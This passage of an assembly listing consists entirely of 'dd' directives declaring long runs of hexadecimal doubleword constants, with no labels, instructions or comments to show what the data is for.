		dd 3EF9E8A8h, 0DCDE4510h, 75BD8882h, 98492E4Bh,	0E9FC4D88h
		dd 0FA4AF53Ah, 0C64E1F7Ch, 542B14EBh, 0A4886D8Ah, 4A014216h
		dd 0FE1C6C81h, 0BE09041Dh, 0E9E0DA59h, 0AAA67D0Ah, 0CF50EA0h
		dd 0A085F84h, 68B4B992h, 4D3B012Bh, 523174C4h, 750390D3h
		dd 0CCBA2C27h, 32D76E81h, 0F6A41892h, 0A181E9Ch, 9CC766D3h
		dd 6EB0CDEh, 11D8C6FDh,	0DD0AF482h, 999490Eh, 641103F1h
		dd 2D2E5C56h, 984D89F2h, 0EBEC5C44h, 2D140952h,	99AB772Bh
		dd 0EE7F65E2h, 0B0135C06h, 0EB72DCB5h, 0EDE21F93h, 64B6450Bh
		dd 0B199AA30h, 4BC9CB7Eh, 28C5DD0Ah, 95AD0572h,	78FA2F44h
		dd 868F1FBh, 5815F83Bh,	0A25B2475h, 0BC893492h,	3EEB1178h
		dd 0DD94AE90h, 7ECCF8AAh, 846F3109h, 0EC462648h, 2A0B43AFh
		dd 30500FC7h, 999C5E28h, 887D02A9h, 24D90AEBh, 0EEDAC115h
		dd 0B2F63801h, 4DAE28C2h, 0F284FB14h, 681CC2FBh, 0A8DC6580h
		dd 0C8152720h, 0FDF8ED30h, 0BC21A686h, 2E02D257h, 1F8D8D89h
		dd 41B4DBCAh, 4B92D74h,	3A2B66Ah, 14E8D455h, 163F6E75h
		dd 0A1834C70h, 994F09F2h, 0A734384Bh, 198585A7h, 8228046Ah
		dd 21C74793h, 0AD1A10F4h, 0F48A6C38h, 2A43BB7Fh, 6F12D45Ah
		dd 39632C75h, 0B918E038h, 88EA703h, 0EB517486h,	867F342Ch
		dd 0B926ECEDh, 88230252h, 20039063h, 0C3B95813h, 2953E885h
		dd 49AC0B33h, 758079D6h, 63948163h, 0D993763Fh,	3E89572Dh
		dd 0C833A6DFh, 13D40D96h, 0BC1489C2h, 0A2A84870h, 0A967E51Ah
		dd 7E0B94C0h, 926F1BA2h, 1F6D3312h, 3A656F68h, 528DCAEAh
		dd 246F8A14h, 32E90884h, 5D55B5CCh, 132A4C98h, 0D8F732BFh
		dd 1A5DD484h, 16B12CCEh, 0EEA448E9h, 0D21055C8h, 748C8823h
		dd 78700D06h, 0E9F09375h, 0C6259A38h, 0F0926E93h, 7152F064h
		dd 9116CAEBh, 0DBDB411Fh, 52022B4h, 0AEC9EAC0h,	8E345DAh
		dd 437C080Fh, 0C5B0E182h
		dd 0E48DEC1Ch, 646837ECh, 141E3234h, 122E2BDh, 8903E281h
		dd 4F6C0CA1h, 0B3960E4Ah, 8AF18D31h, 32A27BD1h,	814DF050h
		dd 0AC0C06C1h, 59752C12h, 0E63B5AB3h, 0A445B0Dh, 0B45A59D0h
		dd 0A077FB1h, 1807BBE1h, 0C03E876Ch, 710882C0h,	754605CFh
		dd 6CD5E607h, 5B740E1Ah, 3E3E6248h, 63CDCC04h, 97C3CEDAh
		dd 0C413B6DCh, 0D24B6557h, 343454D4h, 0C8CFD2DCh, 4D63820Bh
		dd 0D4C3A9C4h, 374A3D79h, 67AEB8F6h, 27E28D1Ch,	6E710432h
		dd 4E5D40B6h, 0AF54C890h, 2B1DE933h, 4F308B8Dh,	290C17ADh
		dd 1A7F6027h, 0C663659Ch, 0ECF7DC02h, 248E3896h, 6D691A91h
		dd 6768B2Dh, 9C25565h, 0F3F40B81h, 69E27E95h, 88031D13h
		dd 51EFC3ADh, 0ED86E8BCh, 7995560Ch, 27CE39E7h,	4C2599E2h
		dd 94920B46h, 64B5FE9Bh, 2D5BB6BEh, 8FF03C02h, 5C708AFh
		dd 9C65E978h, 0DBE85DAh, 989C52B4h, 0CA583B0Ah,	24A54A38h
		dd 0D3F32639h, 7D292A84h, 4274C84Ah, 4A82158Ah,	454F1188h
		dd 477400A6h, 79E423C2h, 97DA0DE4h, 4CA70FDh, 7A124985h
		dd 4A47F455h, 7465C1E8h, 4509480Dh, 1E60790h, 253A7BB7h
		dd 0A55F8632h, 0E9B23179h, 650AC68Eh, 5E46DE6Ch, 8D683892h
		dd 69014186h, 688EB491h, 0F27A3624h, 0ED674BD5h, 836C575Fh
		dd 3FC2154h, 0CED264EAh, 0C14C2493h, 22E0E464h,	0B5F0EC1Bh
		dd 95F01FD6h, 0BB6591E0h, 0D47C4347h, 0E5EE5C65h, 44F76534h
		dd 1A4E7D5Bh, 49652397h, 0C5F532D5h, 39EE21Dh, 5AFB661Ah
		dd 2E4B6238h, 2D28A516h, 0E63053E1h, 56E0AB29h,	9BC89570h
		dd 5851825Eh, 0C77117Dh, 0FFA2EB64h, 0B94A7407h, 733B8AC0h
		dd 0E7217489h, 212E4581h, 8470E970h, 0D84D8A65h, 0A99D2DB8h
		dd 4A099978h, 50F0162Ch, 84C11A10h, 0B621EB29h,	19028ADBh
		dd 0C83578E9h, 96DF6E0Ch, 4A659BF3h, 0F2DDAB89h, 57160733h
		dd 73266D02h, 14384376h, 5BACF13Bh, 8229B33Ah, 29CBB966h
		dd 0D0FC3FA7h, 81B82EADh, 76797ACAh, 9001DE23h,	0E4A3DD0Ch
		dd 860C7C3Ah, 95430946h, 0C01EDB1h, 1E3257EBh, 751B615Eh
		dd 0B72D3A1Bh, 312E0DF1h, 0F40148C9h, 74256EF9h, 0ED8D2502h
		dd 758B44F2h, 0CCB204FFh, 1B74140Bh, 1621DEC9h,	0C99BB9DCh
		dd 89FA2509h, 66A0F5Eh,	7F03EB27h, 4A1CAC14h, 0D00C42A1h
		dd 89E808A0h, 0D519912Ch, 3F113733h, 0E0550922h, 4601AD07h
		dd 2400601h, 2210D003h,	9CA04FCh, 6500F05h, 0A4A2635Bh
		dd 87FA794h, 408BAC40h,	0AB40F2A6h, 0A121CC90h,	21CC9231h
		dd 63DA11C6h, 201EDAFh,	309021Ch, 65047BA2h, 0EE060A05h
		dd 12073248h, 7079BA08h, 0E0C2BD2Fh, 0E3FFBDB6h, 78B1D61Eh
		dd 82BCBD3Fh, 0C0CEBF8h, 0DF4CE284h, 0D1072589h, 50DBA527h
		dd 9D10D2CBh, 0DF3404Eh, 421F19FEh, 897F115Ah, 57381A94h
		dd 1196A9F9h, 209E84FCh, 0A90FEB2Ch, 7FBDEC62h,	735F94B2h
		dd 0FADF5280h, 0BA104EA7h, 6ACA6171h, 0AE116E09h, 0C0BCB580h
		dd 0A00A7F44h, 5766E828h, 0D14F56FFh, 3E65C72Bh, 0ADD2DF2Ch
		dd 652D68h, 0D98ADD18h,	0C35E9FFCh, 0B04D7749h,	10203DA8h
		dd 5F75E045h, 4839EA28h, 0A6AB8505h, 8EF097D7h,	0F0A4281h
		dd 461FEB24h, 70E0E6A7h, 0D32170C7h, 0E48CEB02h, 0EF38014h
		dd 0BF0C18E1h, 166840E5h, 464ADC1Bh, 2C206CFDh,	0FF501C25h
		dd 0D1F7B7B2h, 0E12173BEh, 7C376411h, 2A1C5855h, 1270832Bh
		dd 802BBEF8h, 208C5C32h, 1814AB76h, 49E8C2BAh, 0A6CCFF06h
		dd 0DC0DE284h, 0A89FE24h, 6E4A1C07h, 20182D5Bh,	7A44B41h
		dd 182201C4h, 0B15F8946h, 5010EA65h, 6630A2B6h,	8B2A3437h
		dd 8CC0665Dh, 74BF28A6h, 10755A10h, 0AC0957A8h,	0A2204EBAh
		dd 1AE92FD4h, 4DBB307Ah, 0C8B2C520h, 18BB720Dh,	0C8C04757h
		dd 232891C0h, 5890820h,	84174051h, 0D7E95201h, 0F2DBE138h
		dd 55186221h, 8BC7D018h, 0D0303490h, 28D87C69h,	8775708Ch
		dd 5409D908h, 2E203443h, 8A242844h, 8B1C7A04h, 6C45D298h
		dd 0DC29087Bh, 0AD0DEA08h, 90B522DCh, 0DC0C57F0h, 40D6202Dh
		dd 0B82B1871h, 8257A4B3h, 14A65AECh, 5E8CEEBDh,	2FC5F310h
		dd 8F186116h, 0BC759B07h, 959492A7h, 15641166h,	55229341h
		dd 0C044200h, 4F599D02h, 66959FA2h, 913F817Dh, 39B03609h
		dd 0BF9BC2C9h, 1E8E72FCh, 8E7C0FEDh, 10889043h,	0F227D52h
		dd 0E95701E0h, 11AF40E9h, 4122AEF6h, 0EF5A33B2h, 0A09F81E9h
		dd 201148CCh, 0DAF70504h, 5742D21Bh, 3636848Dh,	0E1164885h
		dd 29EE0BF7h, 2148B753h, 1BD9F7B0h, 10416DC9h, 5CD30448h
		dd 0FB24C769h, 0BE6BCA0Bh, 471021C7h, 0C46ABAD1h, 85207CFDh
		dd 0FE106723h, 0EA2AE8A1h, 0B904F955h, 2A31B3DFh, 7CB7440Fh
		dd 9F304FAAh, 8DACF8D2h, 0F44B0EC8h, 7DD53A6Dh,	0BAF804E2h
		dd 0A90F2A8Ch, 40220C54h, 464A6A9Eh, 79028810h,	1210F20h
		dd 259CC748h, 4B88D23Fh, 0D15FF2ADh, 4C1A77A9h,	2B227409h
		dd 9D49EC83h, 7624D153h, 0B4BEB0Ah, 0BD580C11h,	43184025h
		dd 528C03CAh, 0E2140F31h, 24D973FCh, 1230E1Fh, 0EBA40D10h
		dd 1F544E99h, 8838B7B1h, 3E63BA5Bh, 650DFE35h, 0A1ABF02h
		dd 92680309h, 0E1538C31h, 567FE343h, 0F4470F22h, 39102464h
		dd 1408DC3Eh, 9AB9254Fh, 8405FE50h, 781FC9CBh, 1A96A22Eh
		dd 2018A476h, 0A679B0CAh, 0E1E2390Fh, 120AB7D1h, 0FD7CA74Ch
		dd 52C9E46Fh, 51247AB0h, 50646314h, 346F0108h, 0D334D30Fh
		dd 6D4D1228h, 437AD01Ch, 64054914h, 72E84448h, 518D6B92h
		dd 0F95A398Ah, 0A4EC8875h, 0EAC1C121h, 86B92F04h, 0B3550CCBh
		dd 99EFC484h, 0E93A8973h, 4844DD03h, 6F9099ACh,	93D9C49Fh
		dd 0E8C1047Ch, 0D26D802h, 0F79A599Bh, 99D13B83h, 555AEAD1h
		dd 52E8EF21h, 640BDF79h, 0B2EE039Dh, 772077B4h,	47AF34Dh
		dd 11BAC146h, 0E4800E27h, 15CC6FF3h, 0A81512Bh,	10082312h
		dd 3104E21Fh, 5E420A0Dh, 7CBAF90h, 438D32DDh, 10D2477h
		dd 20D33D7h, 0A64326E3h, 0E68019C2h, 3F35CE82h,	8C2D6CEEh
		dd 21024612h, 5AE6480Dh, 41D9E7C3h, 3E17EF40h, 2A254449h
		dd 0A64CB392h, 44093AAFh, 598A1628h, 449273B0h,	960E465Dh
		dd 3C316BF3h, 0C9867221h, 26BB6017h, 0A2739708h, 4DF7248Ch
		dd 9F03F4E9h, 0E1796BC6h, 0DF52BAEh, 42FBE8D8h,	8E1DE07h
		dd 1E402D9h, 6E840F02h,	2F8903F0h, 0D9FF0408h, 0C8E230B5h
		dd 105933ACh, 39E0C865h, 92129C3h, 836D7484h, 0F24945Dh
		dd 0D59D0420h, 13E95990h, 21127FD0h, 8BC8100Ch,	9EA1F101h
		dd 1DDC02DDh, 0DE55D2F0h, 754140E7h, 15178B13h,	22BD4210h
		dd 14A1D80Ah, 1B702F08h, 5DD0B14h, 0E0D91E13h, 61D85D0Dh
		dd 756B9207h, 1EE036CAh, 5BE1BEE9h, 0E4D08843h,	392022D4h
		dd 11DA0DD0h, 7EEB11D4h, 2088404Bh, 24A1C861h, 83ADCC0Ch
		dd 0A1DDC810h, 0EB15CC11h, 0C0A8403Eh, 80C4568Eh, 0D06EC088h
		dd 0D1ADC488h, 0B4FE1F60h, 41D8BE0Ch, 0A6F19508h, 4F7E2228h
		dd 225B9B96h, 0C5BF411Ch, 0FF081623h, 0BD3A90C9h, 0A905D22Dh
		dd 803802DDh, 850F2F40h, 0F055ADA9h, 516A8062h,	7A527704h
		dd 0BCD7F901h, 0FE65C7E2h, 2CCCEAF0h, 0E8248306h, 0A73990ECh
		dd 0EC0958CEh, 45DD0518h, 1A0DDCF0h, 57184342h,	0BDA9DE9h
		dd 5A5A1431h, 0BC02D201h, 0CC51BB5Dh, 0ACBC5533h, 0A96628B7h
		dd 255CF674h, 0B7F978A0h, 0D6C9C011h, 0E16367Bh, 7C09EB27h
		dd 0D31153BCh, 3E10FC03h
		dd 0D3F34D8Bh, 289834AFh, 0F00D4DC4h, 0A89E9D1h, 1951A77Fh
		dd 0D530B74h, 0AF803392h, 8EF4B422h, 0B0EBA41Dh, 45B0F2AEh
		dd 9A494995h, 6B4D0C5Bh, 3F364D3Fh, 204CEB2Bh, 0B4745A59h
		dd 54D1EAEh, 0C9E996AAh, 9AF5FD2Dh, 2D4B5193h, 0CB3BF5DEh
		dd 0DD133C32h, 4F7CA82h, 0EF442794h, 53C04F33h,	7B12AB91h
		dd 5BE03FFAh, 84D10523h, 0C84EA3ABh, 8F44A55Ch,	8AAC104Ah
		dd 11751489h, 0D24C1857h, 0B059951Ch, 0C911F72Fh, 69E92524h
		dd 8288846h, 5669043Dh,	60914247h, 0A5B3E555h, 1340C555h
		dd 0B694FF04h, 8C0B3228h, 0F4567BCh, 75202262h,	575AA079h
		dd 0E50EFF2h, 20447E06h, 50FEC03h, 6DE818EBh, 4BCAB7DBh
		dd 0A960B9E0h, 0DA2F220Dh, 3FFF4AB9h, 0A21B3960h, 1614E61Dh
		dd 0AF4138CDh, 1E841929h, 4E3CC504h, 0D492FCEBh, 0CFBF3412h
		dd 20E01200h, 55C62EAh,	0A8725311h, 0DDCBBD7h, 0B3E99A40h
		dd 0F9091286h, 392DCAA1h, 3C80191h, 2321A44h, 0DDFB2B3Ah
		dd 554946E7h, 7769B045h, 5155E092h, 575E2DB0h, 0DD03FE0Bh
		dd 7B0E6631h, 0AA2095C9h, 0CF83D080h, 0BDFC34Fh, 0FAB4D1A4h
		dd 6CF4CDDDh, 0B851A230h, 827FF026h, 2FF9C3DFh,	6F64FC43h
		dd 90D23698h, 0F4AD75Fh, 61ED7CBFh, 3C662F1Eh, 8D04E9C8h
		dd 0FC021184h, 9338E3BEh, 6F4CA1ABh, 78BD90ACh,	76AA4FA0h
		dd 5AC9BBB0h, 0EB44F70Eh, 0D6A60CD0h, 0F2C10213h, 0F089D00Bh
		dd 0BA9FE55h, 4A5E6074h, 0F851187Dh, 0FC950D75h, 995D4B2Bh
		dd 164861C2h, 29085FFh,	59AC4B8Ah, 843D12F8h, 0D8EE7505h
		dd 5CB5308Fh, 0BF8590Eh, 42177516h, 0DE2C163h, 614CA5Ch
		dd 5A742049h, 0A421FD04h, 0DD14C031h, 137F8F05h, 0CBFF1A74h
		dd 0F5BBD310h, 5B2D5B90h, 51B4AED2h, 9D8AA8C0h,	0C6D545CAh
		dd 0A08429C6h, 4D302C35h, 0C87F67B5h, 67CC53ECh, 56F01578h
		dd 75DD3193h, 0D1A18930h, 493454E1h, 4B3210D4h,	6795D680h
		dd 425C190Ch, 751D746Fh, 0EA08EEB1h, 1AEB9301h,	0BEC08102h
		dd 0C58BFFEFh, 0B24B4A2h, 801CBDEFh, 0BBEDA4CDh, 94576AADh
		dd 0FD9F240Dh, 790B6BC3h, 2E318906h, 8895DAA5h,	0B2FD217h
		dd 0FD963448h, 19FD92D7h, 6B49AC58h, 906DAA4Fh,	9B1E052Bh
		dd 896284DDh, 0B0F82A56h, 3F2006B9h, 21E2DB29h,	50605672h
		dd 0F5B8D99Bh, 4623A589h, 0F5914EE1h, 0D2F79F3Bh, 0DD35CA13h
		dd 9222F1AAh, 0E6AAF877h, 290CA240h, 0A097C96h,	63382DDBh
		dd 0CE0BB5A9h, 7BB6169Bh, 847F9010h, 448F9517h,	0BD661B9Ah
		dd 5D941045h, 42D11744h, 91C0422h, 0E881EED9h, 0D8DDF1DEh
		dd 88204148h, 0EB51D906h, 30E87A23h, 0C1E168BCh, 5B36E03h
		dd 5C2EE80Eh, 449BFA17h, 1C22A043h, 924E7995h, 61F75480h
		dd 62414713h, 7E21C05Ah, 0C8FA5001h, 7375DC18h,	64D67E8h
		dd 0F0CE9C6Dh, 9842B396h, 0A48D73CDh, 0A7E49034h, 6E0E6D98h
		dd 41E540ECh, 0D3146840h, 0FAE23E43h, 99DF392h,	8BF8681Fh
		dd 4EE94C76h, 0B483A890h, 4F6A01C3h, 2C67F852h,	0F327D005h
		dd 80C65210h, 2BE0F25h,	5D57FEC3h, 6584ACF1h, 29FE4674h
		dd 2DBD3B36h, 61046AC5h, 3BAB8628h, 59833064h, 28516518h
		dd 0E2F7BF02h, 5C33EBD6h, 0BA655BBAh, 0A0858637h, 0EC9388B8h
		dd 0FC36F65Ch, 4914B688h, 119FC95Ch, 0DEEF1677h, 0A7A5712Fh
		dd 0A4494ED9h, 60ECD7C9h, 0A4B33EB9h, 2D7C1C29h, 3B2C2DCCh
		dd 0B52108C1h, 92DAEB62h, 0D2113A26h, 8A92701Eh, 19213D31h
		dd 0A416EC08h, 5EFAF675h, 1B38AB45h, 0D9EE9DD5h, 7C7863F7h
		dd 0F9F83AA4h, 0B753015h, 0D4EBCE14h, 15069916h, 4FCA834Ch
		dd 2157B375h, 0EAE92101h, 5FF3A798h, 0CAEAE734h, 81884EC8h
		dd 20E59DD8h, 0E1DD854Ch, 0EAD74673h, 0C09592DBh, 20EB3296h
		dd 0D2A75474h, 0C7E81315h, 3F748D64h, 7041BAE3h, 18256E39h
		dd 0E87798EAh, 4E27E89Eh, 5BF8B765h, 0EAD360B8h, 0DD2C507Ch
		dd 0C6899A4Ch, 3FDED957h, 20844B42h, 0E87C9718h, 0E3665F2Dh
		dd 41F25E6Ah, 2C4E8B77h, 2D3A7F21h, 0A0627E3Dh,	362C803h
		dd 9FDD907Fh, 9ACAF6C2h, 4A898650h, 2F81890Ch, 0F7E81B68h
		dd 0C7970B3Ch, 4095CBD8h, 61AFE0A4h, 0A32A181Eh, 0A11433B0h
		dd 0C2BB2A39h, 0DDF29D85h, 7DC9DACBh, 0C19FF268h, 3C3B999Dh
		dd 0E2A55F3Ch, 5B14315Eh, 35AF0F75h, 0E713662h,	977E62CCh
		dd 30347BF1h, 88830EEAh, 13DEF53h, 68169627h, 0D2521220h
		dd 0C45D0362h, 0C9184B25h, 7CC2082Fh, 0C5B22E5Fh, 46D6FBD6h
		dd 0FBC67012h, 0BE4F414Bh, 1764DA12h, 918FACAFh, 7CF85E12h
		dd 368137D3h, 6EF35A0Eh, 0A57EB1F8h, 64F86096h,	0A192257Ch
		dd 62B9993Ch, 90F9F771h, 67020A9Eh, 7A880FC8h, 647E5A17h
		dd 0CF1E512Dh, 6F340A8Ah, 15F6F910h, 2667BA4h, 0F72486FEh
		dd 6EF57022h, 643D10F0h, 313A4F4h, 86A99EBCh, 96493892h
		dd 363A3C1h, 164E12D1h,	10E86C63h, 0EF2CEE8Bh, 0E43D9BC2h
		dd 92E0A7EFh, 22A3AA56h, 6F521755h, 0FC4B5D14h,	88562942h
		dd 8CBB2108h, 757A3BF8h, 0DE981E48h, 6A38F4EFh,	0FE301243h
		dd 0F17F1D8Eh, 0DBA5F86Fh, 0FC7B547Fh, 401814Dh, 2EADFE39h
		dd 1F7F7D40h, 109F6A7Eh, 0B3020C8Fh, 428CAA1Bh,	0CEBC530h
		dd 1524CDBBh, 926634DEh, 5AD58E61h, 0C8014F0Ch,	67EFD792h
		dd 94BF7C30h, 37519D4Dh, 8079C06Ch, 0C7AE5D7Dh,	52DB0D56h
		dd 0F20C2FF1h, 421AC886h, 0C639D80Ah, 9027A226h, 56EBF02Fh
		dd 245E150Bh, 0E2B2BA28h, 0A6FD199h, 6A510C04h,	8DDFCC30h
		dd 64AF1A4Bh, 13F0DADBh, 1CE8C638h, 0C821B453h,	8E628978h
		dd 0A364C848h, 0B3987CCCh, 0BA1B69A5h, 9585A9B5h, 61561C16h
		dd 25299522h, 8988BC32h, 0FCC00B2h, 4D88C19Ch, 4B14D057h
		dd 2A734CE2h, 0F29F7CFCh, 0C2F6A33Bh, 111D421Ch, 0F2231444h
		dd 0F5F2BA92h, 3AEB140Bh, 49D0C124h, 0D19ADF1Ch, 0FC9D2E96h
		dd 2BEBB873h, 80B47A5Eh, 800C8438h, 46B5FDE2h, 50D99DBBh
		dd 6579615Ah, 45160D06h, 63A21A75h, 4CE398D3h, 100CFB42h
		dd 664134EBh, 1C167529h, 13FD20E2h, 2A18EBE9h, 6ECE29EBh
		dd 0FEB63461h, 9114B96Fh, 74EF5060h, 0DE322354h, 55FEF022h
		dd 0F62AAD04h, 4288485Dh, 3C9717D7h, 705B0B8Ah,	38811800h
		dd 9305200Bh, 58D55619h, 4127E808h, 9F49E60Dh, 66E22E98h
		dd 0A42FEDA9h, 294F7F53h, 20FA551Ch, 0FF6A1615h, 1FE8A08Bh
		dd 0ADAA9105h, 8D653056h, 5E6259B2h, 7F060C79h,	3A8100F5h
		dd 0E06D7363h, 99AB4C75h, 411478D9h, 5340766Dh,	42B31C5Ch
		dd 32F6E7B4h, 7F24242Eh, 66D611B2h, 0D962D67Ah,	0DA5FF208h
		dd 5D205FE0h, 1C2970B1h, 552D8A51h, 4946E724h, 4A40C67Dh
		dd 0B41DAC20h, 0C630F031h, 0B2AEE555h, 3DE35E96h, 147CFF0Bh
		dd 0E5FCCBF7h, 485395AEh, 3EE2D803h, 45F4130Ch,	0BE203981h
		dd 0B5B1850Fh, 7A83BA98h, 1ACE3AB8h, 0CF4211A4h, 5F84ACD3h
		dd 1C5152F7h, 12ABF33Fh, 1FADCDE8h, 0EB6C7812h,	21E20C1h
		dd 9BD2191h, 0C36C508Bh, 83B2DA6Ah, 2A70400Bh, 4F8E10BEh
		dd 0CA31AE01h, 12C2623Dh, 0D49583F9h, 0BB8C486h, 441CE927h
		dd 0ACA02845h, 0A41FF282h, 7E79559Ah, 974D13F1h, 0E80A9650h
		dd 0D031A887h, 0BF074AEBh, 564C3E76h, 5815C038h, 0C0D0A301h
		dd 0F0794B89h, 0C07A818Ah, 96213BE6h, 4D16BA51h, 0A4CCBEECh
		dd 7F818A20h, 2A38C6E8h, 0BC5BC1B6h, 0E6BD5BEFh, 6314C0A1h
		dd 41B07CF6h, 0A40FF43Eh
		dd 1E6C1CDFh, 16E5B802h, 0BE0B7FFCh, 85B90C37h,	23837E3Bh
		dd 0AE594ACBh, 20E4314Ah, 0DA0C4209h, 0BA92DF54h, 0E5DECED8h
		dd 10117D71h, 0C8B0EC4Ah, 0FFA56993h, 276DAD1Ch, 685956C2h
		dd 93776B0Fh, 0A3764A15h, 22E88A7Dh, 2DF0D249h,	0BB7D577Eh
		dd 2642A1Bh, 0CCE440BAh, 3D9D015Eh, 0D0C98602h,	0E11CB797h
		dd 5099F045h, 33E41508h, 380E13Dh, 0EB1F2C08h, 722FE965h
		dd 0BB2FD46h, 9A7D1C40h, 0E0D697Dh, 0CEAFAC3Fh,	9219C39h
		dd 8AA93CEBh, 0F5EB70F6h, 2724FFE1h, 0E5925E40h, 0A558ED18h
		dd 96B0C555h, 28CAC120h, 0D25E2A09h, 28BB9E53h,	0E8130C60h
		dd 3822BF95h, 0F5887568h, 441572B0h, 4F35CE8Dh,	7495A46Ah
		dd 0D3666098h, 0B7DB8DA1h, 386E4F62h, 0E8123584h, 0BD723709h
		dd 6B4529F8h, 0C9E056ADh, 84881AD7h, 9CEE94BDh,	8FE1C8Ah
		dd 56427C2Fh, 9504F9Fh,	0DD377F04h, 6FEA17B1h, 21A8D51Fh
		dd 7CE2C7A3h, 745702FFh, 7F6C7720h, 128DE85Eh, 9EC4BACh
		dd 57D0244h, 8EB548C9h,	4294CF02h, 5F049C1Fh, 2A2984F8h
		dd 0D0031230h, 710793Eh, 4EE9C402h, 0A2FA7295h,	0E608F2E0h
		dd 9B0E5D85h, 42E499h, 0BB0A75C0h, 2C444B77h, 0C104412Ah
		dd 0C6247427h, 4B279084h, 18556408h, 2734C7F8h,	6965B6D3h
		dd 5BD44BFEh, 0DB397AD3h, 0B1D654EDh, 0C573D60Ah, 0ECCBDA3Fh
		dd 2E5B306Bh, 10212110h, 8DEFCA3Fh, 2574FEBEh, 0D21E0171h
		dd 2190A3ABh, 17ECF9D3h, 0F0D965C4h, 0E72FC6CEh, 3D149E20h
		dd 3AC5840Fh, 7EFFE607h, 304C92CAh, 0F2C7A33Bh,	3EF35509h
		dd 9608222Ch, 75D54F07h, 891D392h, 0C8A94D50h, 0C753F58Ah
		dd 0CC960028h, 82A9FA4Eh, 6004D1A9h, 0E106603Eh, 93D8BD7Fh
		dd 0AC2457BEh, 665E27C9h, 0A2C37DD1h, 3B191A83h, 0C814C94Ch
		dd 50E9A264h, 0A345146Bh, 75F49F80h, 16E4DC48h,	7819E937h
		dd 0DA51E5E4h, 52F3DB5Dh, 0DF52705Eh, 0D29950CEh, 0ACA55C2Fh
		dd 0CC5C499Fh, 961AE88Ah, 0A09E5FA7h, 2C0C3089h, 17208822h
		dd 0C99EF218h, 392EB1FCh, 2DF7E72Eh, 2D0E5E2Ch,	3312387Fh
		dd 0DEB8031h, 2C65F696h, 4D240583h, 0EC694B1Fh,	299C499Eh
		dd 0D4FE6D0Bh, 2134CD60h, 0F4F62B2Bh, 0FC084117h, 0EF2D750h
		dd 48941C3Bh, 10CB330Ch, 12FE6575h, 1C283226h, 0DE49456h
		dd 0EF6BAD9h, 3AA0308Dh, 38AC50A8h, 6BFFD34Bh, 32F053F0h
		dd 57D49818h, 0C9660F3h, 0D881C7E8h, 8CBB8FE8h,	366C409Dh
		dd 0A084F6E4h, 0BA70480Bh, 0A279F6F3h, 3D24D00Bh, 6EA86C50h
		dd 7450970Bh, 0DDAE32D3h, 91D6DE82h, 0AA3C6F69h, 30F12E12h
		dd 0FDD4E408h, 1931C961h, 4A1AA9F5h, 7D6A7422h,	7EA7F0D3h
		dd 339B89CBh, 4633EE7Fh, 0AF5ECD6Fh, 0FCD88498h, 0E529E8FCh
		dd 0E41094BAh, 8870DA8Fh, 0B116A5E0h, 2A883342h, 0B32F1E79h
		dd 0E80C6CB3h, 0E8121974h, 2350CD9Dh, 2E9105Dh,	8290689Eh
		dd 0C948458Dh, 4C52105Eh, 0B760863Eh, 60895C5Ah, 5398071Ch
		dd 119641FEh, 0F69575A7h, 465490A6h, 14F4A250h,	0DD4976B6h
		dd 0CBCD7363h, 95E7E72h, 0C9A92D27h, 0CA141FDDh, 5C0C2F2Bh
		dd 893E3A79h, 5B03E4AEh, 0C7D82E4Bh, 8D6A5F58h,	0E8F36077h
		dd 395A5427h, 2BA539E9h, 7572AA25h, 0F3C2EB12h,	5E02E6E4h
		dd 149BE418h, 2434BABBh, 0F35EEB92h, 996AA8EEh,	39F0B2Bh
		dd 1401F191h, 0A78AD085h, 42647829h, 0F31459F0h, 0AF850E1Ch
		dd 145A7358h, 0AAAC34FAh, 0E48C86BCh, 324E8060h, 1C7664FEh
		dd 7504C6D6h, 0FCBDCF22h, 0BD1A1A4Ah, 573F8DFDh, 41118402h
		dd 0D579DA9Fh, 897A84D0h, 8409081Bh, 187AAA88h,	5D680D90h
		dd 0DECCBDD8h, 9181A56Fh, 7A9C6C3Eh, 5212AE8Dh,	4839B42Ch
		dd 68E151A9h, 227C4533h, 2EA2505Eh, 0F1D931EFh,	2B5CCB1h
		dd 5FE1BA15h, 12215D0Ah, 0D5840F42h, 646168A8h,	86732C2Ch
		dd 694953C8h, 605219DAh, 0C60227F5h, 632B6825h,	0C0AA5E9h
		dd 5901512Fh, 132EA97Bh, 22CDD62h, 29B627EBh, 0C485D870h
		dd 0A80824A4h, 0E453AE0Dh, 3277CD0Eh, 0D4957157h, 76142E89h
		dd 60108093h, 846ECFCh,	4910C84Bh, 0EB6BDE9Eh, 513DE29Fh
		dd 0AC9348EBh, 9D0494A4h, 89AB0BB2h, 7595D596h,	0DC75131Ah
		dd 478B68EFh, 97D408BBh, 86270D3h, 0F763CC03h, 25ECED7Bh
		dd 6844FC27h, 0A2E3F65h, 3E5269A1h, 10520378h, 7C7F4D24h
		dd 7F044225h, 0C668A047h, 51530405h, 44C1F7BBh,	0FF2F55C5h
		dd 17AC5975h, 0CA38046Dh, 74E2102Fh, 0F888D051h, 29D85DDDh
		dd 4A81EB5Eh, 167E53F9h, 943DAC54h, 45A830BEh, 1C5B595Dh
		dd 240CC2C9h, 1F707130h, 0BDE1ED5h, 4749B64Eh, 53280260h
		dd 3CE80D19h, 60686025h, 10E40294h, 415CA48Bh, 3BE18EB5h
		dd 573D9A06h, 0E056553Dh, 0B554A1F6h, 4646642h,	0BA30C708h
		dd 0A3F83D5Fh, 0AE024EE3h, 0A588E02Ch, 3D83F0B0h, 0CC86705Ah
		dd 0AE265790h, 2112C64Fh, 0E151AC87h, 0AC47CC2Ch, 0B520BCB4h
		dd 6C2D8543h, 0D8BE8407h, 7C19460Ch, 8A0C8109h,	0ED7E699Fh
		dd 5652ADDCh, 31080C7h,	462C8D14h, 4B4E456Fh, 3F5D59D4h
		dd 30A86AC1h, 7E020C0Bh, 0ECD4FBA4h, 30BA4B32h,	6946EA47h
		dd 876DD22Eh, 182BF269h, 3D02F8C1h, 8D3FCA03h, 6BEF0754h
		dd 99B18D2h, 0BEB67974h, 3B3CC01Fh, 5806AA7Fh, 5294FF3Ah
		dd 0FC786756h, 0FD487D0Dh, 0D4A1326Eh, 0BDFD66D7h, 397FBA89h
		dd 86FEE8F0h, 7DE8E03Eh, 1F743420h, 253A820Dh, 454C2540h
		dd 0FF1C4B84h, 0CCE8D905h, 0C2ADD8Bh, 4F50474Ch, 81A02CBEh
		dd 40AC2AE5h, 2772BE4Fh, 4ADA5705h, 9503CF20h, 0CD257758h
		dd 78A65C57h, 385F84A1h, 8D1D5BCh, 0D883D1Ah, 192C8FCh
		dd 2CCAB3FBh, 0F76987EDh, 8770BEE2h, 2F7E14B7h,	0ED3038Ah
		dd 95FF5808h, 0E341C012h, 84888C00h, 8D89A943h,	95C51447h
